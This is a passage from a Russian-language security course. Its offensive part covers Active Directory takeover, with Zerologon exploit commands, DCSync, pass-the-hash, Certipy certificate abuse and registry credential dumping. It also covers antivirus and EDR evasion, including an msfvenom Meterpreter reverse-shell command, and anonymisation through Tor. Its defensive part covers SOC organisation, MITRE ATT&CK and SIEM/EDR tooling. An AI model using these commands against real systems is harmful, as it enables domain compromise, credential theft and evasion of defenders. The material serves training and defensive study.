14. Опции при этом останутся прежними, кроме двух новых: ACTION – выбора действия и PASSWORD – значения пароля машинного аккаунта в HEX и восстановим пароль: 

msf6> set ACTION RESTORE
msf6> set PASSWORD <$MACHINE.ACC hex password>
msf6> run

15. Убедимся, что доступ сохранился: 

$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'

 


Захват домена

Уязвимости

Примеры уязвимостей

Zerologon

Zerologon — уязвимость CVE-2020-1472. Проблема Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей. Полный разбор эксплойта тут

Эксплуатация

1. Сброс пароля при помощи эксплойта: 

python3 cve-2020-1472-exploit.py -n 'DC01$' -t 10.10.0.1

2. Реализация атаки DCSync с пустым паролем: 

python3 secretsdump.py -no-pass -just-dc 'domain.local/DC01$@10.10.0.1'

3. Получаем NT-хеш администратора с “относительным идентификатором” (relative identifier) RID 500 и используем его для получения доступа к управлению контроллером через WMI с помощью утилиты пакета Impacket: wmiexec.py: 

python3 wmiexec.py -hashes <hash-value> 'domain.local/DC01$@10.10.0.1'

После успешного изменения пароля DC сервер Active Directory работает некорректно. Чтобы DC продолжал нормально работать, необходимо переустановить исходный хэш пароля.

4. Создаем и скачиваем резервные копии реестра для восстановления пароля DC: 

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

5. Извлекаем пароль из извлеченных копий реестра: 

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

6. Получаем пароль машины контроллера домена в строке: $MACHINE.ACC:plain_password_hex:b4d1....

7. И инсталлируем хеш машины обратно: 

python3 reinstall_original_pw.py DC-01$ 10.10.0.1 b4d1….

Кража учетных данных, токенов и сессий привилегированных учетных записей

Распространен в сетях, незрелых с точки зрения ИБ.

Пример

Вы компрометируете машину в домене при помощи эксплойта и получаете доступ уровня NT Authority/System:

  1. Вы извлекаете учетные данные, ключи и токены доступа из скомпрометированной машины.
  2. Вы пытаетесь переиспользовать полученные доступы в рамках доступной вам сети, подключаясь с полученными данными к сервисам SMB, HTTP, MSSQL, RPC, WMI и пр.
  3. Вы обнаруживаете прочие машины, на которые у вас есть доступ уровня локального администратора.
  4. На скомпрометированных машинах вы вновь извлекаете учетные записи, секреты и токены доступа, уже новых для вас учетных записей.
  5. Так вы повторяете шаги, пока не получите учетные данные кого-либо из групп: Administrators, Domain Admins, Enterprise Admins.
  6. Как только вы получаете эти учетные записи, вы сможете получить доступ к контроллеру домена по WMI или SMB, или выполнить атаку DCSync.

Привилегированные группы

Есть группы, чьи привилегии позволяют нам получить доступ к группам первой тройки.

Подробности использования

 

Захват домена

Сбор информации об объектах

При таком подходе основное время уйдет на разведку в домене и энумерацию учетных записей. 

Важные данные при сборе информации:

Энумерация сессий

При получении доменной учетной записи появится возможность обращаться к машинам в домене и узнавать, какие активные сессии находятся на машинах. Можно использовать netview пакета Impacket: 

netview.py -target 192.168.1.10 username, где пароль необходимо будет ввести через строку ввода.

Выгрузка всех машин домена и получение информации о актуальных сессиях. 

netview.py domain.local/username

Также извлекать информацию о сессиях на машинах в AD возможно при помощи фреймворка PowerSploit и утилиты PowerView: 

Get-NetLoggedon -ComputerName <servername>
Get-NetSession -ComputerName <servername>
Get-LoggedOnLocal -ComputerName <servername>
Get-LastLoggedon -ComputerName <servername>
Get-NetRDPSession -ComputerName <servername>

Сбор информации о пользователях и сессиях

Инструменты разведки в Active Directory

Windows: 

Linux:

BloodHound

Ссылка на проект

BloodHound использует теорию графов для выявления скрытых и часто непредусмотренных взаимосвязей в среде Active Directory или Azure. 

Пентестеры могут использовать BloodHound для легкого выявления очень сложных путей атаки, которые иначе невозможно было бы быстро определить. 

Защитники могут использовать BloodHound для выявления и устранения таких же путей атаки. Как "синие", так и "красные" команды могут использовать BloodHound для более глубокого понимания отношений привилегий в среде Active Directory или Azure.


Захват домена

Миссконфигурация сервисов в AD

Например:

Certipy

Certipy предназначена для автоматизации процесса генерации и управления сертификатами и ключами шифрования в сетевых приложениях на языке Python. Она предоставляет набор инструментов для создания и управления сертификатами X.509, которые могут быть использованы для обеспечения безопасной передачи данных через сети, например, для шифрования трафика HTTPS.

Эксплуатация с Certipy

Запрос сертификата по шаблону создания сертификата для другого пользователя: 

$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identifications

    UPN: 'administrator@corp.local'
    DNS Host Name: 'dc.corp.local'

[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc.pfx'

Запрос TGT и получение NT хеша с использованием полученного ранее сертификата: 

$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:

    [0] UPN: 'administrator@corp.local'

    [1] DNS Host Name: 'dc.corp.local'

> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0

Дополнительные ресурсы

 

Захват домена

Практика

Стенд:  WinServer2016.v2.7z (зеркала: Яндекс.Диск и OneDrive)

Логин: master Пароль: Qwerty123

 

Противодействие обнаружению

Противодействие обнаружению

Общая информация

Endpoint Detection & Response (EDR) — класс решений для обнаружения и изучения вредоносной активности на конечных точках, подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз. При этом EDR-решения не могут полностью заменить антивирусы (EPP), поскольку эти две технологии решают разные задачи.

Endpoint Protection Platform (EPP) — комплексные защитные решения для конечных точек, в которые входит антивирус, технологии шифрования данных, технологии для отслеживания и устранения уязвимостей, контроля приложений и устройств и т.д.

Security Information and Event Management (SIEM) — решения для сбора и автоматического анализа информации о событиях безопасности.

Next Generation Firewall, межсетевой экран нового поколения (NGFW) — межсетевой экран для глубокой фильтрации трафика, интегрированный с IDS (Intrusion Detection System, система обнаружения вторжений) или IPS (Intrusion Prevention System, система предотвращения вторжений), и обладающий возможностью контролировать и блокировать трафик на уровне приложений.

Intrusion Detection System (IDS) — система обнаружения вторжений, программный продукт или устройство, предназначенные для выявления несанкционированной и вредоносной активности в компьютерной сети или на отдельном хосте. Задача IDS — обнаружить проникновение киберпреступников в инфраструктуру и сформировать оповещение безопасности (функций реагирования, например блокировки нежелательной активности, в таких системах нет), которое будет передано в SIEM-систему для дальнейшей обработки.

Песочница — специально выделенная (изолированная) среда для безопасного исполнения компьютерных программ. 

Общие принципы

Обнаружение хакера

Решения активной защиты, которые занимаются обнаружением хакерской или прочей аномальной активности в сети:

Нужно понимать, что подобные и прочие инструменты защиты умело используют только компании, в которых хорошо развита культура ИБ. Помимо подобных средств, которые хакер еще имеет возможность обойти, есть и средства более категоричные. Например, решения класса HoneyPot.

HoneyPot

Honeypot (с англ. — «горшочек с мёдом») — ресурс, представляющий собой приманку для злоумышленников.

Задача Honeypot — подвергнуться атаке или несанкционированному исследованию, что впоследствии позволит изучить стратегию злоумышленника и определить перечень средств, с помощью которых могут быть нанесены удары по реально существующим объектам безопасности. Реализация Honeypot может представлять собой как специальный выделенный сервер, так и один сетевой сервис, задача которого — привлечь внимание взломщиков.

Пример Honepot’а: веб-сервер, который не имеет имени и фактически никому не известен, не должен, соответственно, иметь и гостей, заходящих на него, поэтому все лица, которые пытаются на него проникнуть, являются потенциальными взломщиками. Honeypot собирает информацию о характере поведения этих взломщиков и об их способах воздействия на сервер. После чего специалисты по реагированию на инциденты разрабатывают и реализуют стратегии отражения атаки злоумышленника.

Команда реагирования на инциденты

Security Operation Center (SOC) — это центр управления безопасностью, где команда профессиональных аналитиков и инженеров работает в режиме 24/7 для обеспечения безопасности информационных систем и данных предприятия.

Основной задачей SOC является мониторинг и обнаружение возможных кибератак, а также реагирование на них. Сотрудники SOC используют различные инструменты и технологии для обнаружения аномальных активностей в сети, в том числе системы регистрации и анализа журналов, инструменты сетевого мониторинга и системы обнаружения вторжений.

Пример работы SOC

Представим ситуацию, когда в компьютерной сети предприятия была обнаружена аномальная активность, указывающая на возможный случай компрометации данных. SOC может реагировать на такой инцидент следующим образом:

Этапы реагирования SOC:

Противодействие обнаружению

Подготовка и сравнение нагрузок

Подготовка нагрузок

При подготовке нагрузок есть необходимость использовать нагрузки и обертки для них с целью обхода их детектирования системами EPP и EDR, которые обнаруживают такие вредоносные программы и не дают им возможности запуститься.

Есть 2 типа детектирования вредоносных нагрузок активными системами защиты:

Статический анализ нагрузок

Статическое обнаружение нагрузок достигается путем пометки известных вредоносных строк и массивов байтов в двоичном файле или скрипте, а также извлечением информации из самого файла (например, описание файла, название компании, цифровые подписи, иконка, контрольная сумма и т.д.). Это означает, что при использовании известных общедоступных инструментов вас будет легче поймать, поскольку они, скорее всего, уже были проанализированы и помечены как вредоносные. 

Способы обхода статического анализа нагрузок

Существует несколько способов обойти такое обнаружение:

В качестве системы для проверки успешности вашего решения можно использовать такие утилиты, как DefenderCheck (Зеркало: DefenderCheck Яндекс.Диск и DefenderCheck.exe Яндекс.Диск)

Динамический анализ нагрузок

Динамический анализ — это когда средство защиты запускает ваш двоичный файл в "песочнице" и следит за вредоносной активностью (например, выполняет дампа памяти процессов LSASS или обращение к критически важным файлам и кустам реестра систем и т.д.). 

Динамический анализ обойти гораздо сложнее, но есть ряд способов, отличающихся креативностью.

Ключевое, с чем мы пытаемся бороться при динамическом анализе нашего бинарного файла, это то, что в песочнице будет обнаружено действительное предназначение нашего файла через его поведение. Поэтому наша ключевая задача — определить, что наш файл был запущен и находится в песочнице, и скрыть всю возможную опасную активность, которая может быть определена.

Рассмотрим ряд действенных приемов, которые могут быть применены для обхода детектирования:

Бесфайловое исполнение

Бесфайловые вредоносные программы — это вариант вредоносного программного обеспечения, связанного с компьютером, которое существует исключительно в виде артефактов в памяти компьютера, то есть в оперативной памяти.

Такие программы не записывают никаких фрагментов своей деятельности на жесткий диск компьютера, что повышает ее способность обходить антивирусное программное обеспечение, которое включает в себя файловые белые списки, обнаружение сигнатур, проверку оборудования, анализ шаблонов, временные метки и т.д.

Вредоносные программы этого типа предназначены для работы в памяти, поэтому их существование в системе длится только до перезагрузки системы.

Противодействие бесфайловому исполнению

В качестве противодействия бесфайловому исполнению были разработаны системы типа: AMSI (Anti-Malware Scan Interface). Функция AMSI интегрирована в следующие компоненты Windows:

Это позволяет антивирусным решениям проверять поведение скриптов, раскрывая их содержимое в незашифрованном и не замаскированном виде.

Для обхода подобных решений используются:

Инструменты генерации нагрузок для обхода EPP и EDR

Существует множество инструментов для генерации нагрузок с применением механизмов обфускации, шифрования, замены системных вызовов, использования Proxy DLL и пр.

Некоторые популярные примеры:

 

Сравнение нагрузок

1. Подготовим нагрузку для запуска, используя msfvenom — классический инструмент Metasploit Framework, позволяющий генерировать исполняемые файлы из включенных в фреймворк полезных нагрузок. 

$ mkdir check
$ cd check

2. Сгенерируем exe-файл для 64-разрядной версии Windows с C2-агентом Meterpreter, осуществляющим обратное подключение к нашей машине: 

$ msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe LHOST=10.8.0.14 LPORT=4444 > loader.exe

3. Загрузим файл на VirusTotal и увидим, что он детектируется практически всеми AV-решениями, что естественно, так как этот фреймворк крайне популярен, и при генерировании полезной нагрузки не были применены какие-либо меры для защиты от детекта. Проведем аналогичный эксперимент с pupy rat: 

>> gen -h
>> gen -f client -A x64 -O windows -o loader-pu.exe
$ cd /tmp/projects/default

Как видим, вердикты AV-решений поменялись, и уровень детектируемости незначительно снизился, так как этот фреймворк несколько менее популярен.

4. Выберем другой формат текстовый — файл с кодом на Python: 

>> gen -f pyinst -A x64 -O windows -o loader.py

Этот файл будет детектироваться очень слабо, так как требуемый для запуска этого файла интерпретатор Python встречается крайне редко на Windows-системах обычных пользователей и в корпоративной среде . Поэтому такой вид нагрузок почти не встречается в реальных атаках.

Противодействие обнаружению

Увеличение скрытности

Снижение активности в сети

Этот принцип — один из самых простых с точки зрения технического исполнения, но в то же время является сложным из-за необходимости проявить креативность. Наша максимальная задача в этом процессе — не оставить возможности детектирования наших действий активными средствами защиты.

Шаги для снижения активности в сети:

Какие подходы могут помочь нам исследовать сеть и определиться в пути компрометации:

Примеры приемов по снижению активности в сети

1. Опросить DNS на предмет корневых доменных имен.

> dig domain.local

2. Опросить домен на предмет записей о сервисах в домене.

> dig -t SRV _gc._tcp.domain.local
> dig -t SRV _ldap._tcp.domain.local
> dig -t SRV _kerberos._tcp.domain.local
> dig -t SRV _kpasswd._tcp.domain.local

3. Исследовать трафик сети на предмет широковещательного трафика: ARP, mDNS, LLMNR, NBTNS и пр.

4. Попытаться обратиться к общедоступным ресурсам, типа почты, сервера LDAP, сервера, WPAD прокси.

> dig -t MX domain.local

> dig -t wpad.domain.local

Использование шифрованных каналов связи

Для того, чтобы активные средства защиты не могли обнаружить атакующий трафик и определить опасные конструкции в нем по сигнатурам, необходимо постоянно заботиться о том, чтобы наш трафик эксплойтов или команд невозможно было расшифровать.

Если наша задача — применить эксплойт, то желательно работать только с применением шифрования трафика прикладных протоколов (например, используя SSL/TLS).

Это могут быть такие протоколы, как:

Также критически важно использовать шифрованные каналы связи с взаимодействием с нагрузкой для контроля и выполнения команд. Для этого в фреймворке C&C необходимо использовать нагрузки с связью по каналам, использующим TLS. Например, в metasploit: 

windows/meterpreter/reverse_https (В LHOST необходимо будет указывать доменное имя)
windows/meterpreter/reverse_winhttps
windows/meterpreter_reverse_https (нагрузка без стейджера)

 

 

Противодействие обнаружению

Ротация IP

The Onion Router (TOR)

Tor Browser (сокр. от англ. The Onion Router) — свободное и открытое программное обеспечение для реализации второго (V2) и третьего (V3) поколения так называемой луковой маршрутизации. Это система прокси-серверов, позволяющая устанавливать анонимное сетевое соединение, защищённое от прослушивания. Рассматривается как анонимная сеть виртуальных туннелей, предоставляющая передачу данных в зашифрованном виде.

Луковая маршрутизация (англ. Onion routing) — технология анонимного обмена информацией через компьютерную сеть. Сообщения неоднократно шифруются и потом отсылаются через несколько сетевых узлов, называемых луковыми маршрутизаторами. Каждый маршрутизатор удаляет слой шифрования, чтобы открыть трассировочные инструкции и отсылать сообщения на следующий маршрутизатор, где все повторяется.

Таким образом, промежуточные узлы не знают источника, пункта назначения и содержания сообщения. Маршрутизаторы были названы луковыми, так как слои шифрования подобны чешуйкам луковицы.

Как воспользоваться TOR?

Инструментом TOR можно пользоваться, работая с браузером TOR, но чаще всего эксперты поднимают входной узел сети Tor как сервис и пользуются им в виде прокси.
Ранее мы рассматривали с вами инструмент proxychains, для того, чтобы использовать большинство CLI утилит через прокси.

Рассмотрим, как это можно реализовать, используя Tor: 

$ sudo apt install proxychains tor -y                <- Установка 
$ service tor start                                                      <- Запуск сервиса Tor на порту стандартном порту 9050
$ vim /etc/proxychains4.conf                                    <- Настройка Proxychains в файле конфигурации
…
proxy_dns
socks4  127.0.0.1 9050 
socks5  127.0.0.1 9050 
…
$ proxychains nmap -targetaddress <- Запуск утилиты Nmap с использованием proxy Tor

Атаки на клиентов Tor

Tor Browser или использование Tor как прокcи имеет набор проблем, которые возникают из-за особенностей конфигурации или из-за уязвимостей в отдельных версиях ПО. Большинство известных атак касаются проблем деанонимизации клиентов Tor и анализа трафика клиентов Tor.

Первый вид атак реализуется посредством установки входных и выходных узлов сети Tor, принадлежащих одному владельцу, который может по объему пакетов и времени запроса определять, что тот или иной входный и выходной трафик принадлежат одному и тому же клиенту.

Второй вид атак касается возможностей внедрения трафика, либо на стороне входного узла (дублирование пакетов запросов и поиск задублированных пакетов на выходе), либо на стороне выходного узла используя попытки завести клиентов сети Tor на свой сайт и замерять получаемые клиентом данные или заставить его выполнить DNS запросы в обход прокси.

Ротация IP адресов

Для постоянной смены IP адресов зачастую недостаточно пользоваться такими сервисами, как Tor или I2P, т.к. некоторые сервисы могут блокировать вас по факту принадлежности вашего IP к сетям анонимного доступа. 

Также такие сети не позволяют выполнять множественные запросы, постоянно изменяя IP с высокой скоростью.

В качестве популярных решений существуют:

Сервисы:

Плагин для Burp Suite: 

Консольные утилиты:

Облачные провайдеры:

Дополнительная информация

 

Развитие хакера

Как было сказано ранее, важно наполнять вашу техническую эрудицию и постоянно практиковаться. Вот основные навыки, которые вам предстоит отрабатывать:

Перечислим виды деятельности по взламыванию разных типов информационных систем:

Книги:

Языки программирования:

Платформы для тренировок эксплуатации уязвимостей:

 

Реверс-инжиниринг

Реверс-инжиниринг

Материалы

Книги

Курсы

Практика

 

 

 

Blue team

Blue team

Общая информация

Конвертация VMWare в VirtualBox

Сфера ответственности SOC:

SOC - security operational center

Состав команды SOC

Аналитик 1-ой линии (L1 Analyst или Tier 1 Analyst) распределение и первичный отсев явных ложных срабатываний систем. (False Positive). Опираются на созданные сценарии для данного типа инцидента. Если аналитик 1-го уровня может, то реагирует. Иначе передает аналитику 2-го уровня.

Аналитик 2-ой линии (L2 Analyst или Tier 2 Analyst) получает фактуру по сложным инцидентам. Он анализирует уникальную ситуацию. В случае непонимания эскалация специалисту по реверс-инжинирингу или эксперту по форензике.

Аналитики 3-ей линии в основном состоят из профильных специалистов, которые хорошо разбираются в своей специализации, таких как:

Инженер группы инфраструктуры — настраивает внутренние системы SOC-Центра, отвечает за стабильность получения данных. 

Сервис менеджер координируют работу команды SOC, связывает друг с другом заказчиков и исполнителей, выполняет организационную работу. Контролирует соблюдение SLA (соглашение об уровне услуг).

Руководитель SOC — занимается организационной деятельностью, планированием развития и штата, в коммерческих SOC участвует во встречах с потенциальными Заказчиками для привлечения новых клиентов. Участвует в маркетинговых активностях с целью продвижения. Является точкой эскалации при решении возникших проблем.

Операционные модели SOC:

В первом случае собственного(in-house) SOC находится полностью в собственности организации с точки зрения владения оборудованием и найма специалистов. Это самый дорогой и длительный по времени вариант построения центра мониторинга. Попытка выстраивания процессов и реализации может занять годы и не всегда может увенчаться успехом.

В случае сервисной модели SOC (или MSSP) центр мониторинга находится полностью на стороне сервис-провайдера. В этом случае заказчику не нужно нанимать и содержать персонал, разрабатывать регламенты, корреляционные правила, заниматься закупкой оборудования и лицензий для ИБ-решений, такие как SIEM, SOAR, TIP. К тому же данный вариант является наиболее быстрым в плане подключения для заказчика и может составлять от 1 месяца.

Схема сервисной модели SOC                  

В случае гибридной модели SOC оборудование приобретается на средства заказчика и разворачивается в его инфраструктуре, заказчиком закупаются лицензии для SIEM, SOAR решения, а управление осуществляется совместно с сервис-провайдером.

Схема гибридной модели SOC                

Аутсорсинговая и, в меньшей степени, гибридная модели позволяют оптимизировать затраты на ИБ и сосредоточиться на профильных активностях компании-заказчика. Собственный SOC позволяет более глубоко углубиться в процессы и особенности инфраструктуры компании, поэтому у каждой модели есть свои сильные и слабые стороны.

Концепты информационной безопасности

Конфиденциальность. Сохранение целостности, защиты от утечки сведений, которые не предназначены для общего использования и несут интеллектуальную, экономическую ценность для обладателя. Отвечает на следующие вопросы:

К механизмам защиты конфиденциальности относятся шифрование, пароли, аутентификация, брандмауэры и т.д.. Также в этот раздел попадает физическая защита - двери, заборы и камеры.

Целостность. Состояние информации, при котором отсутствует любое её изменение, либо изменение осуществляется только преднамеренно субъектами, имеющими на него право. Для определения целостности информации можно использовать:

Хеширование, цифровые подписи и контрольные суммы помогают отслеживать и проверять целостность.

Доступность. Возможность своевременного и надёжного использования информации или сервисов. Отвечает на вопрос “Всегда ли данные, которые должны быть доступны пользователю, доступны?”

Избыточность систем хранения, питания и передачи данных помогает повысить доступность информации. Также относятся стратегии резервного копирования и аварийного восстановления данных в случае повреждения или утраты. 

Риски и управление ими

Риск является центральной точкой другой триады: угрозы, уязвимости и активы.

Активы. Ресурс, которым владеет или который контролирует бизнес, в материальной или нематериальной форме, используемый для создания экономической выгоды.

Уязвимости. Недостаток программно-технического средства или информационной системы в целом, который может быть использован для реализации угроз безопасности информации

Это внутренниме факторы. Патчи или дополнительные меры безопасности могут устранить эти недостатки. Иногда уязвимость находится вне вашего контроля, например, при использовании закрытого программного обеспечения. Задача инженера ИБ — компенсировать эти слабости.

Угрозы. Любое состояние, которое может привести к краже, потере, повреждению или компрометации актива.

К угрозам относятся стихийные бедствия, кибератаки или вредоносное ПО. Угрозы не обязательно должны быть преднамеренными: мать-природа тоже опасна, и случаются несчастные случаи. Задача отдела ИБ — закрыть уязвимости, соответствующие вашим угрозам, а НЕ победить саму угрозу. 

Классификация угроз

Враждебные угрозы Иностранные правительства, поставщики и конкуренты.

Случайные угрозы

Инфраструктурные угрозы

Экологические угрозы

Риски меняются! Квантовые компьютеры сейчас не представляют угрозы, но могут стать ею через несколько лет, и могут радикально изменить подход к определению уязвимостей.

Обзор методологий

Lockheed Martin's Cyber Kill Chain

В 2011 году Lockheed Martin's была разработана методология Lockheed Martin's Cyber Kill Chain. Она используется для определения этапов эксплуатации компьютерных сетей.

Advanced Persistent Threats (APT). APT — это группы или организации, которые, вероятно, спонсируются национальными государствами. APT хорошо подкованы в области информационной безопасности, имеют доступ к огромным ресурсам, как финансовым, так и технологическим. Цель — получить несанкционированный доступ к системам и постоянно совершенствовать методы и тактику. 

Цепочка Cyber Kill Chain

MITRE ATT&CK

В 2013 году MITRE создала каталог техник, используемых в успешных APT-атаках. Подобно «Cyber Kill Chain», ATT&CK MITRE описывает активности атакующих от разведки до компрометации. 

В отличие от Kill Chain, MITRE ATT&CK описывает конкретные технические детали действий, выполняемых над целью, и связывает их в общую картину или тактику. Cyber Kill Chain компании Lockheed Martin's описывает, почему злоумышленники следуют определенной серии шагов: от разведки до эксплуатации целевых машин. Методология MITRE ATT&CK описывает, как именно злоумышленники выполняют эти действия. Всего в матрице описано 14 тактик:

Каждая тактика состоит из множества техник и подтехник. В конечном итоге, MITRE описывают конкретные действия, предпринимаемые атакующими, зачастую с указанием реальных примеров обнаруженных атак. 

Ссылка на тактику “Закрепление в системе” с техниками и подтехниками: https://attack.mitre.org/techniques/T1137/

Отчеты об атаках 

При сравнении двух отчетов можно заметить некоторые сходства:

Фаза

Индикатор

Разведка

поиск публично доступных серверов Jenkins

Вооружение

Использование скрипта PowerShell для загрузки майнера Monero

Доставка 

HTTP POST запрос в каталог CLI, содержащий код для скачивания эксплойта

Эксплуатация 

Эксплойт CVE-2017-1000353 через скрипт PowerShell

Установка 

C:\Windows\minerxmr.exe 

Командование и контроль (C2)

222.184.79.11:5329

Достижение конечной цели

Майнинг Monero

И второй отчет:

Фаза

Индикатор

Разведка

поиск публично доступных серверов Oracle WebLogic

Вооружение

Использование скрипта PowerShell для загрузки майнера Monero

Доставка 

HTTP POST запрос, содержащий XML, с кодом для скачивания эксплойта

Эксплуатация 

Эксплойт CVE-2017-10271 через скрипт PowerShell

Установка 

C:\minerxmr.exe 

Командование и контроль (C2)

222.184.79.11:5329

Достижение конечной цели

Майнинг Monero

Обратите внимание на незначительные различия между двумя таблицами. Хотя злоумышленник использовал две разные уязвимости, остальные этапы цепочки практически не изменились.

Поскольку злоумышленник использовал одно и то же имя файла, скрипт PowerShell, путь установки и IP-адрес C2, это ускоряет выявление и устранение угрозы. Сходство показателей позволяет аналитикам определить, что атаки, вероятно, проводились одними и теми же преступниками.

Дополнительные материалы

Blue team

Инфраструктура

Средства защиты

Мониторинг ИБ автоматизируют с помощью LM/SIEM, UBA/UEBA, IRP/SOAR, TIP, IDS/IPS, NTA, EDR, XDR, DDP. Постоянно развивается.

Log Management

Может быть в виде специализированного решения или унифицированного варианта, типа Elastic Stack. Централизованное хранилище журналов событий различных источников, приведенные к единой модели данных. Простой, гибкий и производительный поиск по событиям, отчёты и визуальные панели (дашборды) на основе таких поисков, но без корреляции событий на потоке. LM дешевле SIEM решение. Может работать рядом с SIEM. Задачи Log Management;

Security Information and Event Management(SIEM)

Система управления информацией и событиями в системе безопасности. Объединяет в одной точке данные об инцидентах ИБ. Собирает информацию из журналов событий средств защиты, сетевого оборудования, рабочих станций сотрудников и других ресурсов — тем самым исключает необходимость проверять их по отдельности и снижает риск возникновения слепых зон. Задачи SIEM:

Компоненты SIEM

ServiceDesk, IRP, SOAR

Система обработки заявок. Изначально при построении SOC, может не быть Incident Response Platform(IRP) или Security Orchestration, Automation and Response(SOAR), для фиксации и описания деталей инцидента в минимальном формате подходит ServiceDesk.

IRP/SOAR — это специализированный ServiceDesk с функцией исполнения скриптов. Если у вас получится закрыть часть требований встроенным функционалом, вам необходимо получить более простые и стабильные способы работы со скриптами или дать службе мониторинга отдельный от ИТ инструмент со специализированным интерфейсом.

Автоматизация способна ускорить реагирование на часть кейсов на 1-2 порядка. Второй вариант использования — учёт действий аналитика. Если в инциденте участвует критичный актив, например, АСУ ТП, каждый шаг должен быть выполнен компетентным сотрудником, который ответственен за решение, ничего не должно быть пропущено, действия должны журналироваться.

Основные функции IRP, SOAR

Пример информации:

Жизненный цикл инцидента

Для оценки уровня реагирования на инциденты ИБ необходимо понимание жизненного цикла инцидента. Основные метрики жизненного цикла инцидента:

EDR

Входит в состав антивирусной защиты, систем защиты от утечек данных и т.д. Но функционал — это дополнительная телеметрия (Detection в Endpoint Detection and Response) и возможности по реагированию (Response).

Телеметрия расширяет и унифицирует функции штатных журналов операционных систем. То, что раньше выявлялось SIEM на основе нескольких событий или не выявлялось вовсе, теперь фиксируется как единая запись агента EDR, обогащённая различными метаданными. И, насколько это возможно, не зависит от семейства и версии операционной системы, на которую установлен агент. EDR содержит следующие функции:

Реагирование средствами EDR делает процесс максимально оперативным и гибким. Результат использования EDR — расширенная телеметрия и локальное автоматизированное реагирование. На сегодняшний день наиболее эффективны коммерческие решения EDR, но так же есть Open-source EDR решение, например SOLDR или Wazuh.

TIP

Средство обработки входящего Threat Intelligence(TI). TI содержит в себе совокупность индикаторов компрометации (Indicator of Compromise) — IP(Internet Protocol), FQDN(Fully Qualified Domain Name), URL(Uniform Resource Locator), Hash и т.д., которые известны как злонамеренные, так как были ранее зафиксированы в компьютерных атаках. Цель TI - сокращение разрыва между первым обнаружением атаки где-то в мире и возможностью выявлять её у нас в инфраструктуре.

Разве нельзя IOC использовать в средствах защиты напрямую, зачем TIP? Этот класс решений предоставляет функционал управления TI — нормализация, обогащение, дедупликация, приоритезация, хранение, устаревание, удаление.

В систему приходит IOC и подвергается нормализации – приведению к единому набору полей заданного формата. С ним можно связать другие индикаторы – узнать FQDN по IP или всё семейство хэшей по исходному. Если IOC уже есть в базе – добавить атрибуты, например, что мы видели его в данных ещё одного источника в такое-то время. И присвоить ему оценку.

При работе с индикатором аналитик исследует гипотезу, подтверждает или опровергает её, строит граф связей. Результат использования TIP – на средства защиты, в том числе в систему мониторинга, попадает более качественный, однозначно трактуемый и актуальный TI. А перечни IOC сокращаются на порядок, что позволяет повысить эффективность средств защиты, их использующих.

MISP

Одним из основных open-sourсe TIP-платформ является MISP. MISP (Malware Information Sharing Platform) — это открытая платформа для обмена информацией о угрозах, которая используется для обмена, обработки и проверки информации о киберугрозах и их контрмерах. Она была разработана для обеспечения быстрого и эффективного обмена информацией между различными организациями.

MISP предоставляет инструменты для обмена, совместного использования и хранения информации о киберугрозах, включая индикаторы компрометации (IOC), тактики, техники и процедуры (TTP) атак, и пр. Это позволяет организациям быстро адаптироваться к новым угрозам и обеспечивать своевременный и эффективный ответ на инциденты безопасности.

Примеры использования MISP

SandBox

При выявлении подозрительных файлов приходится их анализировать. Для безопасного анализа созданы песочницы(SandBox). Запускают файл в изолированной среде и фиксируют все выполненные действия, такие как: запуска процессов, загрузки библиотек, сетевые соединения, DNS-запросы, вызовы WinAPI-функций, создание/удаление файлов и т.д.

Так же события полученные от потоковых песочниц, которые проверяют файлы поступившие на почтовый сервер, можно направить в SIEM-систему, если песочница работает в режим мониторинга без блокировки. 

ANYRUN

Удобство и особенность песочницы ANYRUN в том, что есть возможность самому запускать файлы или открывать веб-страницы в интерактивном режим.

Области песочницы поделены на три блока:

Cuckoo

Загрузка файлов в облачных песочницах может быть недопустима. Для локального анализа есть open-source решение класса песочницы Cuckoo Sandbox, которую можно развернуть у себя в инфраструктуре. Три блока с информацией:

Ниже детальная информация о сигнатурах. Красным цветом выделены наиболее критичные сигнатуры.

Другие зарубежные облачные песочницы

NTA/NBA 

Network Traffic Analysis — запись трафика для его последующего исследования. Гораздо больший по сравнению с LM/SIEM объем хранилища и необходимость предварительной расшифровки данных.

Трафик объединяет в себе и информацию, и факт её передачи. В отличие от событий, генерация которых избирательна, он полностью описывает, что произошло между двумя взаимодействующими системами, и его нельзя удалить или сфабриковать. События собираются в LM или SIEM с некоторой задержкой, если это не Syslog, в случае которого возможен спуфинг. А если успеть очистить журнал источника (действие, подозрительное само по себе), что точно случилось узнать будет трудно.

Можно использовать решения класса Network Behavior Analysis — аналог U(E)BA для сети. Чаще выпускаются в виде обособленных продуктов. Основных сетевых протоколов несколько десятков, что делает решение «из коробки» довольно эффективным.

NTA и NBA — это аналоги SIEM и U(E)BA, позволяющие в более удобном и гибком варианте анализировать сетевой трафик.

В качестве opensource решения NTA можно рассмотрим Arkime, которое парсит и складывает трафик в Elasticsearch и pcap(Packet Capture) файлы. Это позволяет анализировать сетевой трафик из веб-интерфейса. Предусмотрена интеграция c Suricata – Arkime умеет сопоставлять алерт с сессией и отображать это в интерфейсе.

BAS

Системы Breach and Attack Simulation (BAS) - комплексное тестирование киберзащиты инфраструктуры компании путём автоматизированной симуляции реальной атаки злоумышленника.

